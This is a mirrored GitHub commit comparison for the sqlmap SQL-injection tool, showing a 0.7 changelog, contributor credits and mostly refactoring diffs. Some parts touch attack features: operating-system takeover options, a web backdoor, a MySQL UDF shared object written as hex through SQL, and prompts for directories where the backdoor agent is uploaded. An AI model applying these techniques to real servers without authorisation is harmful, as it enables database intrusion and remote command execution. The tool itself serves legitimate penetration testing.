mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
59 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2c98c11e80 | ||
|
|
45e3ce798f | ||
|
|
d905e5ef9f | ||
|
|
576cc97742 | ||
|
|
b2b2ec8a26 | ||
|
|
3d4bfb3263 | ||
|
|
b4fd71e8b9 | ||
|
|
8096a37940 | ||
|
|
cb3d2bac16 | ||
|
|
516fdb9356 | ||
|
|
24a3a23159 | ||
|
|
4b622ed860 | ||
|
|
0fc4587f02 | ||
|
|
ba2e009fd9 | ||
|
|
bc31bd1dd9 | ||
|
|
fd7de4bbb8 | ||
|
|
3b9303186e | ||
|
|
e5a01d500e | ||
|
|
32067cb676 | ||
|
|
03a6739fbf | ||
|
|
150abc0f1e | ||
|
|
3bca0d4b28 | ||
|
|
5ac2b0658c | ||
|
|
cfd8a83655 | ||
|
|
966f34f381 | ||
|
|
c7b72abc0e | ||
|
|
02f6425db8 | ||
|
|
93ee4a01e5 | ||
|
|
81d1a767ac | ||
|
|
8e7282f7c7 | ||
|
|
440a52b84d | ||
|
|
37d3b3adda | ||
|
|
13de8366d0 | ||
|
|
f7ee4d578e | ||
|
|
ef3846e0de | ||
|
|
45dff4a00a | ||
|
|
b463205544 | ||
|
|
06cc2a6d70 | ||
|
|
a727427299 | ||
|
|
c5d20b8a86 | ||
|
|
f3e8d6db70 | ||
|
|
ccedadd780 | ||
|
|
e8c115500d | ||
|
|
722ca8bf2f | ||
|
|
57b8bb4c8e | ||
|
|
58f3eee390 | ||
|
|
1d7de719b9 | ||
|
|
16b4530bbe | ||
|
|
5121a4dcba | ||
|
|
406d5df195 | ||
|
|
546a6c32e3 | ||
|
|
6f4035938b | ||
|
|
06e8546177 | ||
|
|
eeb34eb028 | ||
|
|
4ce74764b7 | ||
|
|
aec2419410 | ||
|
|
1af6898618 | ||
|
|
69259c5984 | ||
|
|
8e88b32274 |
@@ -1,3 +1,27 @@
|
|||||||
|
sqlmap (0.7-1) stable; urgency=low
|
||||||
|
|
||||||
|
* Adapted Metasploit wrapping functions to work with latest 3.3
|
||||||
|
development version too.
|
||||||
|
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
|
||||||
|
* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
|
||||||
|
--os-bof is selected) when running under Windows because msfconsole
|
||||||
|
and msfcli are not supported on the native Windows Ruby interpreter.
|
||||||
|
This make sqlmap 0.7 to work again on Windows too.
|
||||||
|
* Minor improvement so that sqlmap tests also all parameters with no
|
||||||
|
value (eg. par=).
|
||||||
|
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
|
||||||
|
2.6+.
|
||||||
|
* Major bug fix to sql-query/sql-shell features.
|
||||||
|
* Major bug fix in --read-file option.
|
||||||
|
* Major silent bug fix to multi-threading functionality.
|
||||||
|
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked
|
||||||
|
queries are not supported and --os-shell is provided.
|
||||||
|
* Fixed MySQL 'comment injection' version fingerprint.
|
||||||
|
* Fixed basic Microsoft SQL Server 2000 fingerprint.
|
||||||
|
* Many minor bug fixes and code refactoring.
|
||||||
|
|
||||||
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 25 Jul 2009 10:00:00 +0000
|
||||||
|
|
||||||
sqlmap (0.7rc1-1) stable; urgency=low
|
sqlmap (0.7rc1-1) stable; urgency=low
|
||||||
|
|
||||||
* Added support to execute arbitrary commands on the database server
|
* Added support to execute arbitrary commands on the database server
|
||||||
|
|||||||
1187
doc/README.html
1187
doc/README.html
File diff suppressed because it is too large
Load Diff
8715
doc/README.pdf
8715
doc/README.pdf
File diff suppressed because it is too large
Load Diff
1175
doc/README.sgml
1175
doc/README.sgml
File diff suppressed because it is too large
Load Diff
33
doc/THANKS
33
doc/THANKS
@@ -5,6 +5,9 @@ Chip Andrews <chip@sqlsecurity.com>
|
|||||||
at SQLSecurity.com and permission to implement the update feature
|
at SQLSecurity.com and permission to implement the update feature
|
||||||
taking data from his site
|
taking data from his site
|
||||||
|
|
||||||
|
Simon Baker <simonb@sec-1.com>
|
||||||
|
for reporting some bugs
|
||||||
|
|
||||||
Daniele Bellucci <daniele.bellucci@gmail.com>
|
Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
for starting sqlmap project and developing it between July and August
|
for starting sqlmap project and developing it between July and August
|
||||||
2006
|
2006
|
||||||
@@ -23,9 +26,18 @@ Karl Chen <quarl@cs.berkeley.edu>
|
|||||||
for providing with the multithreading patch for the inference
|
for providing with the multithreading patch for the inference
|
||||||
algorithm
|
algorithm
|
||||||
|
|
||||||
Pierre Chifflier <pollux@debian.org>
|
Y P Chien <ypchien@cox.net>
|
||||||
for uploading the sqlmap 0.6.2 Debian package to the official Debian
|
for reporting a minor bug
|
||||||
project repository
|
|
||||||
|
Pierre Chifflier <pollux@debian.org> and Mark Hymers <ftpmaster@debian.org>
|
||||||
|
for uploading and accepting the sqlmap Debian package to the official
|
||||||
|
Debian project repository
|
||||||
|
|
||||||
|
Ulises U. Cune <ulises2k@gmail.com>
|
||||||
|
for reporting a bug
|
||||||
|
|
||||||
|
Alessandro Curio <alessandro.curio@gmail.com>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
Stefano Di Paola <stefano.dipaola@wisec.it>
|
Stefano Di Paola <stefano.dipaola@wisec.it>
|
||||||
for suggesting good features
|
for suggesting good features
|
||||||
@@ -57,6 +69,9 @@ Ivan Giacomelli <truemilk@insiberia.net>
|
|||||||
for suggesting a minor enhancement
|
for suggesting a minor enhancement
|
||||||
for reviewing the documentation
|
for reviewing the documentation
|
||||||
|
|
||||||
|
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
|
||||||
|
for providing me with a minor patch
|
||||||
|
|
||||||
Davide Guerri <d.guerri@caspur.it>
|
Davide Guerri <d.guerri@caspur.it>
|
||||||
for suggesting an enhancement
|
for suggesting an enhancement
|
||||||
|
|
||||||
@@ -71,6 +86,12 @@ Will Holcomb <wholcomb@gmail.com>
|
|||||||
for his MultipartPostHandler class to handle multipart POST forms and
|
for his MultipartPostHandler class to handle multipart POST forms and
|
||||||
permission to include it within sqlmap source code
|
permission to include it within sqlmap source code
|
||||||
|
|
||||||
|
Daniel Hückmann <sanitybit@gmail.com>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
|
Mounir Idrassi <mounir.idrassi@idrix.net>
|
||||||
|
for his compiled version of UPX for Mac OS X
|
||||||
|
|
||||||
Luke Jahnke <luke.jahnke@gmail.com>
|
Luke Jahnke <luke.jahnke@gmail.com>
|
||||||
for reporting a bug when running against MySQL < 5.0
|
for reporting a bug when running against MySQL < 5.0
|
||||||
|
|
||||||
@@ -80,6 +101,9 @@ Anant Kochhar <anant.kochhar@secureyes.net>
|
|||||||
Alexander Kornbrust <ak@red-database-security.com>
|
Alexander Kornbrust <ak@red-database-security.com>
|
||||||
for reporting a couple of bugs
|
for reporting a couple of bugs
|
||||||
|
|
||||||
|
Nicolas Krassas <krasn@ans.gr>
|
||||||
|
for reporting a bug
|
||||||
|
|
||||||
Guido Landi <lists@keamera.org>
|
Guido Landi <lists@keamera.org>
|
||||||
for the great technical discussions
|
for the great technical discussions
|
||||||
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
|
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
|
||||||
@@ -88,9 +112,10 @@ Guido Landi <lists@keamera.org>
|
|||||||
|
|
||||||
Nico Leidecker <nico@leidecker.info>
|
Nico Leidecker <nico@leidecker.info>
|
||||||
for providing me with feedback on a few features
|
for providing me with feedback on a few features
|
||||||
|
for reporting a couple of bugs
|
||||||
|
|
||||||
Gabriel Lima <pato@bugnet.com.br>
|
Gabriel Lima <pato@bugnet.com.br>
|
||||||
for reporting a bug
|
for reporting a couple of bugs
|
||||||
|
|
||||||
Pavol Luptak <pavol.luptak@nethemba.com>
|
Pavol Luptak <pavol.luptak@nethemba.com>
|
||||||
for reporting a bug when injecting on a POST data parameter
|
for reporting a bug when injecting on a POST data parameter
|
||||||
|
|||||||
@@ -46,7 +46,8 @@ UPDATE udftest SET data=CONCAT(data,0x000000000000000004000000000000006500000001
|
|||||||
--
|
--
|
||||||
-- Note that /TODO/plugin DOES NOT
|
-- Note that /TODO/plugin DOES NOT
|
||||||
-- exist by default so it is NOT possible to save the SO in the proper
|
-- exist by default so it is NOT possible to save the SO in the proper
|
||||||
-- folder where MySQL server looks for SOs.
|
-- folder where MySQL server looks for SOs.
|
||||||
|
-- SHOW VARIABLES WHERE variable_name='plugin_dir';
|
||||||
--
|
--
|
||||||
-- References:
|
-- References:
|
||||||
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||||
|
|||||||
@@ -63,8 +63,8 @@ class Magic:
|
|||||||
def __del__(self):
|
def __del__(self):
|
||||||
try:
|
try:
|
||||||
magic_close(self.cookie)
|
magic_close(self.cookie)
|
||||||
except Exception, e:
|
except Exception, _:
|
||||||
print "got thig: ", e
|
pass
|
||||||
|
|
||||||
|
|
||||||
_magic_mime = None
|
_magic_mime = None
|
||||||
|
|||||||
@@ -54,11 +54,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
|||||||
v_files = []
|
v_files = []
|
||||||
v_vars = []
|
v_vars = []
|
||||||
try:
|
try:
|
||||||
for(key, value) in data.items():
|
for(key, value) in data.items():
|
||||||
if type(value) == file:
|
if type(value) == file:
|
||||||
v_files.append((key, value))
|
v_files.append((key, value))
|
||||||
else:
|
else:
|
||||||
v_vars.append((key, value))
|
v_vars.append((key, value))
|
||||||
except TypeError:
|
except TypeError:
|
||||||
systype, value, traceback = sys.exc_info()
|
systype, value, traceback = sys.exc_info()
|
||||||
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
|
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
|
||||||
|
|||||||
BIN
lib/contrib/upx/macosx/upx
Executable file
BIN
lib/contrib/upx/macosx/upx
Executable file
Binary file not shown.
@@ -27,7 +27,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.controller.action import action
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
@@ -295,9 +294,9 @@ def checkStability():
|
|||||||
infoMsg = "testing if the url is stable, wait a few seconds"
|
infoMsg = "testing if the url is stable, wait a few seconds"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
firstPage, firstHeaders = Request.queryPage(content=True)
|
firstPage, _ = Request.queryPage(content=True)
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
secondPage, secondHeaders = Request.queryPage(content=True)
|
secondPage, _ = Request.queryPage(content=True)
|
||||||
|
|
||||||
condition = firstPage == secondPage
|
condition = firstPage == secondPage
|
||||||
|
|
||||||
|
|||||||
@@ -36,7 +36,6 @@ from lib.core.common import readInput
|
|||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapConnectionException
|
|
||||||
from lib.core.exception import sqlmapNotVulnerableException
|
from lib.core.exception import sqlmapNotVulnerableException
|
||||||
from lib.core.session import setInjection
|
from lib.core.session import setInjection
|
||||||
from lib.core.target import createTargetDirs
|
from lib.core.target import createTargetDirs
|
||||||
@@ -105,7 +104,6 @@ def start():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
hostCount = 0
|
hostCount = 0
|
||||||
receivedCookies = []
|
|
||||||
cookieStr = ""
|
cookieStr = ""
|
||||||
setCookieAsInjectable = True
|
setCookieAsInjectable = True
|
||||||
|
|
||||||
|
|||||||
@@ -33,7 +33,6 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
|
||||||
|
|
||||||
|
|
||||||
class Agent:
|
class Agent:
|
||||||
@@ -284,10 +283,6 @@ class Agent:
|
|||||||
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||||
fieldsToCastList = fieldsToCastList.split(",")
|
fieldsToCastList = fieldsToCastList.split(",")
|
||||||
|
|
||||||
# TODO: really needed?!
|
|
||||||
#if query.startswith("SELECT ") and "(SELECT " in query:
|
|
||||||
# fieldsSelectFrom = None
|
|
||||||
|
|
||||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -43,6 +43,7 @@ from lib.core.data import paths
|
|||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.exception import sqlmapFilePathException
|
from lib.core.exception import sqlmapFilePathException
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import SQL_STATEMENTS
|
from lib.core.settings import SQL_STATEMENTS
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
|
|
||||||
@@ -86,8 +87,7 @@ def paramToDict(place, parameters=None):
|
|||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
value = elem[1]
|
value = elem[1]
|
||||||
if value:
|
testableParameters[parameter] = value
|
||||||
testableParameters[parameter] = value
|
|
||||||
|
|
||||||
if conf.testParameter and not testableParameters:
|
if conf.testParameter and not testableParameters:
|
||||||
paramStr = ", ".join(test for test in conf.testParameter)
|
paramStr = ", ".join(test for test in conf.testParameter)
|
||||||
@@ -141,9 +141,9 @@ def formatDBMSfp(versions=None):
|
|||||||
|
|
||||||
|
|
||||||
def formatFingerprintString(values, chain=" or "):
|
def formatFingerprintString(values, chain=" or "):
|
||||||
string = "|".join([v for v in values])
|
strJoin = "|".join([v for v in values])
|
||||||
|
|
||||||
return string.replace("|", chain)
|
return strJoin.replace("|", chain)
|
||||||
|
|
||||||
|
|
||||||
def formatFingerprint(target, info):
|
def formatFingerprint(target, info):
|
||||||
@@ -224,73 +224,94 @@ def getHtmlErrorFp():
|
|||||||
|
|
||||||
|
|
||||||
def getDocRoot():
|
def getDocRoot():
|
||||||
"""
|
|
||||||
This method returns the web application document root based on the
|
|
||||||
detected absolute files paths in the knowledge base.
|
|
||||||
"""
|
|
||||||
|
|
||||||
docRoot = None
|
docRoot = None
|
||||||
|
pagePath = os.path.dirname(conf.path)
|
||||||
|
|
||||||
|
if kb.os == "Windows":
|
||||||
|
defaultDocRoot = "C:/Inetpub/wwwroot/"
|
||||||
|
else:
|
||||||
|
defaultDocRoot = "/var/www/"
|
||||||
|
|
||||||
if kb.absFilePaths:
|
if kb.absFilePaths:
|
||||||
logMsg = "retrieved the possible injectable "
|
for absFilePath in kb.absFilePaths:
|
||||||
logMsg += "file absolute system paths: "
|
absFilePathWin = None
|
||||||
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
|
||||||
logger.info(logMsg)
|
|
||||||
else:
|
|
||||||
warnMsg = "unable to retrieve the injectable file "
|
|
||||||
warnMsg += "absolute system path"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
for absFilePath in kb.absFilePaths:
|
if re.search("([\w]\:[\/\\\\]+)", absFilePath):
|
||||||
if conf.path in absFilePath:
|
absFilePathWin = absFilePath
|
||||||
index = absFilePath.index(conf.path)
|
absFilePath = absFilePath[2:].replace("\\", "/")
|
||||||
docRoot = absFilePath[:index]
|
|
||||||
break
|
absFilePath = os.path.normpath(absFilePath)
|
||||||
|
|
||||||
|
if pagePath in absFilePath:
|
||||||
|
index = absFilePath.index(pagePath)
|
||||||
|
docRoot = absFilePath[:index]
|
||||||
|
|
||||||
|
if absFilePathWin:
|
||||||
|
docRoot = "C:/%s" % docRoot.replace("\\", "/")
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
if docRoot:
|
if docRoot:
|
||||||
logMsg = "retrieved the remote web server "
|
infoMsg = "retrieved the web server document root: '%s'" % docRoot
|
||||||
logMsg += "document root: '%s'" % docRoot
|
logger.info(infoMsg)
|
||||||
logger.info(logMsg)
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to retrieve the remote web server "
|
warnMsg = "unable to retrieve the web server document root"
|
||||||
warnMsg += "document root"
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
message = "please provide the web server document root "
|
||||||
|
message += "[%s]: " % defaultDocRoot
|
||||||
|
inputDocRoot = readInput(message, default=defaultDocRoot)
|
||||||
|
|
||||||
|
if inputDocRoot:
|
||||||
|
docRoot = inputDocRoot
|
||||||
|
else:
|
||||||
|
docRoot = defaultDocRoot
|
||||||
|
|
||||||
return docRoot
|
return docRoot
|
||||||
|
|
||||||
|
|
||||||
def getDirectories():
|
def getDirs():
|
||||||
"""
|
|
||||||
This method calls a function that returns the web application document
|
|
||||||
root and injectable file absolute system path.
|
|
||||||
|
|
||||||
@return: a set of paths (document root and absolute system path).
|
|
||||||
@rtype: C{set}
|
|
||||||
@todo: replace this function with a site crawling functionality.
|
|
||||||
"""
|
|
||||||
|
|
||||||
directories = set()
|
directories = set()
|
||||||
|
|
||||||
kb.docRoot = getDocRoot()
|
if kb.os == "Windows":
|
||||||
|
defaultDir = "C:/Inetpub/wwwroot/test/"
|
||||||
|
else:
|
||||||
|
defaultDir = "/var/www/test/"
|
||||||
|
|
||||||
if kb.docRoot:
|
if kb.absFilePaths:
|
||||||
directories.add(kb.docRoot)
|
infoMsg = "retrieved web server full paths: "
|
||||||
|
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
pagePath = re.search("^/(.*)/", conf.path)
|
for absFilePath in kb.absFilePaths:
|
||||||
|
if absFilePath:
|
||||||
|
directories.add(os.path.dirname(absFilePath))
|
||||||
|
else:
|
||||||
|
warnMsg = "unable to retrieve any web server path"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if kb.docRoot and pagePath:
|
message = "please provide any additional web server full path to try "
|
||||||
pagePath = pagePath.groups()[0]
|
message += "to upload the agent [%s]: " % defaultDir
|
||||||
|
inputDirs = readInput(message, default=defaultDir)
|
||||||
|
|
||||||
directories.add("%s/%s" % (kb.docRoot, pagePath))
|
if inputDirs:
|
||||||
|
inputDirs = inputDirs.replace(", ", ",")
|
||||||
|
inputDirs = inputDirs.split(",")
|
||||||
|
|
||||||
|
for inputDir in inputDirs:
|
||||||
|
if inputDir:
|
||||||
|
directories.add(inputDir)
|
||||||
|
else:
|
||||||
|
directories.add(defaultDir)
|
||||||
|
|
||||||
return directories
|
return directories
|
||||||
|
|
||||||
|
|
||||||
def filePathToString(filePath):
|
def filePathToString(filePath):
|
||||||
string = filePath.replace("/", "_").replace("\\", "_")
|
strRepl = filePath.replace("/", "_").replace("\\", "_")
|
||||||
string = string.replace(" ", "_").replace(":", "_")
|
strRepl = strRepl.replace(" ", "_").replace(":", "_")
|
||||||
|
|
||||||
return string
|
return strRepl
|
||||||
|
|
||||||
|
|
||||||
def dataToStdout(data):
|
def dataToStdout(data):
|
||||||
@@ -326,18 +347,18 @@ def dataToOutFile(data):
|
|||||||
return rFilePath
|
return rFilePath
|
||||||
|
|
||||||
|
|
||||||
def strToHex(string):
|
def strToHex(inpStr):
|
||||||
"""
|
"""
|
||||||
@param string: string to be converted into its hexadecimal value.
|
@param inpStr: inpStr to be converted into its hexadecimal value.
|
||||||
@type string: C{str}
|
@type inpStr: C{str}
|
||||||
|
|
||||||
@return: the hexadecimal converted string.
|
@return: the hexadecimal converted inpStr.
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
hexStr = ""
|
hexStr = ""
|
||||||
|
|
||||||
for character in string:
|
for character in inpStr:
|
||||||
if character == "\n":
|
if character == "\n":
|
||||||
character = " "
|
character = " "
|
||||||
|
|
||||||
@@ -457,17 +478,17 @@ def randomStr(length=5, lowercase=False):
|
|||||||
return rndStr
|
return rndStr
|
||||||
|
|
||||||
|
|
||||||
def sanitizeStr(string):
|
def sanitizeStr(inpStr):
|
||||||
"""
|
"""
|
||||||
@param string: string to sanitize: cast to str datatype and replace
|
@param inpStr: inpStr to sanitize: cast to str datatype and replace
|
||||||
newlines with one space and strip carriage returns.
|
newlines with one space and strip carriage returns.
|
||||||
@type string: C{str}
|
@type inpStr: C{str}
|
||||||
|
|
||||||
@return: sanitized string
|
@return: sanitized inpStr
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
cleanString = str(string)
|
cleanString = str(inpStr)
|
||||||
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
||||||
|
|
||||||
return cleanString
|
return cleanString
|
||||||
@@ -483,8 +504,8 @@ def checkFile(filename):
|
|||||||
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
||||||
|
|
||||||
|
|
||||||
def replaceNewlineTabs(string):
|
def replaceNewlineTabs(inpStr):
|
||||||
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||||
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
||||||
|
|
||||||
return replacedString
|
return replacedString
|
||||||
@@ -760,11 +781,13 @@ def pollProcess(process):
|
|||||||
|
|
||||||
returncode = process.poll()
|
returncode = process.poll()
|
||||||
|
|
||||||
if returncode != None:
|
if returncode is not None:
|
||||||
if returncode == 0:
|
if returncode == 0:
|
||||||
dataToStdout(" done\n")
|
dataToStdout(" done\n")
|
||||||
else:
|
elif returncode < 0:
|
||||||
dataToStdout(" quit unexpectedly by signal %d\n" % returncode)
|
dataToStdout(" process terminated by signal %d\n" % returncode)
|
||||||
|
elif returncode > 0:
|
||||||
|
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
@@ -806,3 +829,22 @@ def getCharset(charsetType=None):
|
|||||||
asciiTbl.extend(range(96, 123))
|
asciiTbl.extend(range(96, 123))
|
||||||
|
|
||||||
return asciiTbl
|
return asciiTbl
|
||||||
|
|
||||||
|
|
||||||
|
def searchEnvPath(fileName):
|
||||||
|
envPaths = os.environ["PATH"]
|
||||||
|
result = None
|
||||||
|
|
||||||
|
if IS_WIN is True:
|
||||||
|
envPaths = envPaths.split(";")
|
||||||
|
else:
|
||||||
|
envPaths = envPaths.split(":")
|
||||||
|
|
||||||
|
for envPath in envPaths:
|
||||||
|
envPath = envPath.replace(";", "")
|
||||||
|
result = os.path.exists(os.path.normpath("%s/%s" % (envPath, fileName)))
|
||||||
|
|
||||||
|
if result == True:
|
||||||
|
break
|
||||||
|
|
||||||
|
return result
|
||||||
|
|||||||
@@ -23,13 +23,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
try:
|
import md5
|
||||||
import md5
|
import sha
|
||||||
import sha
|
|
||||||
except DeprecationWarning, _:
|
|
||||||
from hashlib import md5
|
|
||||||
from hashlib import sha
|
|
||||||
|
|
||||||
import struct
|
import struct
|
||||||
import urllib
|
import urllib
|
||||||
|
|
||||||
|
|||||||
@@ -134,6 +134,11 @@ class Dump:
|
|||||||
|
|
||||||
|
|
||||||
def dbTables(self, dbTables):
|
def dbTables(self, dbTables):
|
||||||
|
if not isinstance(dbTables, dict):
|
||||||
|
self.string("tables", dbTables)
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
maxlength = 0
|
maxlength = 0
|
||||||
|
|
||||||
for tables in dbTables.values():
|
for tables in dbTables.values():
|
||||||
@@ -232,8 +237,8 @@ class Dump:
|
|||||||
|
|
||||||
for column in columns:
|
for column in columns:
|
||||||
if column != "__infos__":
|
if column != "__infos__":
|
||||||
info = tableValues[column]
|
info = tableValues[column]
|
||||||
lines = "-" * (int(info["length"]) + 2)
|
lines = "-" * (int(info["length"]) + 2)
|
||||||
separator += "+%s" % lines
|
separator += "+%s" % lines
|
||||||
|
|
||||||
separator += "+"
|
separator += "+"
|
||||||
@@ -248,19 +253,21 @@ class Dump:
|
|||||||
|
|
||||||
for column in columns:
|
for column in columns:
|
||||||
if column != "__infos__":
|
if column != "__infos__":
|
||||||
info = tableValues[column]
|
info = tableValues[column]
|
||||||
maxlength = int(info["length"])
|
maxlength = int(info["length"])
|
||||||
blank = " " * (maxlength - len(column))
|
blank = " " * (maxlength - len(column))
|
||||||
|
|
||||||
self.__write("| %s%s" % (column, blank), n=False)
|
self.__write("| %s%s" % (column, blank), n=False)
|
||||||
|
|
||||||
if not conf.multipleTargets and field == fields:
|
if not conf.multipleTargets and field == fields:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
||||||
else:
|
elif not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
||||||
|
|
||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
self.__write("|\n%s" % separator)
|
self.__write("|\n%s" % separator)
|
||||||
|
|
||||||
if not conf.multipleTargets:
|
if not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\n")
|
dataToDumpFile(dumpFP, "\n")
|
||||||
|
|
||||||
@@ -279,14 +286,15 @@ class Dump:
|
|||||||
blank = " " * (maxlength - len(value))
|
blank = " " * (maxlength - len(value))
|
||||||
self.__write("| %s%s" % (value, blank), n=False)
|
self.__write("| %s%s" % (value, blank), n=False)
|
||||||
|
|
||||||
if field == fields:
|
if not conf.multipleTargets and field == fields:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
||||||
else:
|
elif not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
||||||
|
|
||||||
field += 1
|
field += 1
|
||||||
|
|
||||||
self.__write("|")
|
self.__write("|")
|
||||||
|
|
||||||
if not conf.multipleTargets:
|
if not conf.multipleTargets:
|
||||||
dataToDumpFile(dumpFP, "\n")
|
dataToDumpFile(dumpFP, "\n")
|
||||||
|
|
||||||
|
|||||||
@@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
import sys
|
|
||||||
|
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
from lib.core.settings import PYVERSION
|
from lib.core.settings import PYVERSION
|
||||||
from lib.core.settings import VERSION
|
from lib.core.settings import VERSION
|
||||||
|
|||||||
@@ -31,8 +31,6 @@ import logging
|
|||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
import urllib2
|
import urllib2
|
||||||
import urlparse
|
import urlparse
|
||||||
|
|
||||||
@@ -42,8 +40,6 @@ from lib.core.common import getFileType
|
|||||||
from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.common import paths
|
from lib.core.common import paths
|
||||||
from lib.core.common import randomRange
|
from lib.core.common import randomRange
|
||||||
from lib.core.common import randomStr
|
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -59,6 +55,9 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
|
|||||||
from lib.core.optiondict import optDict
|
from lib.core.optiondict import optDict
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
from lib.core.settings import SITE
|
from lib.core.settings import SITE
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
@@ -100,7 +99,17 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
|
|
||||||
reqResList = fread.split("======================================================")
|
reqResList = fread.split("======================================================")
|
||||||
|
|
||||||
|
port = None
|
||||||
|
scheme = None
|
||||||
|
|
||||||
for request in reqResList:
|
for request in reqResList:
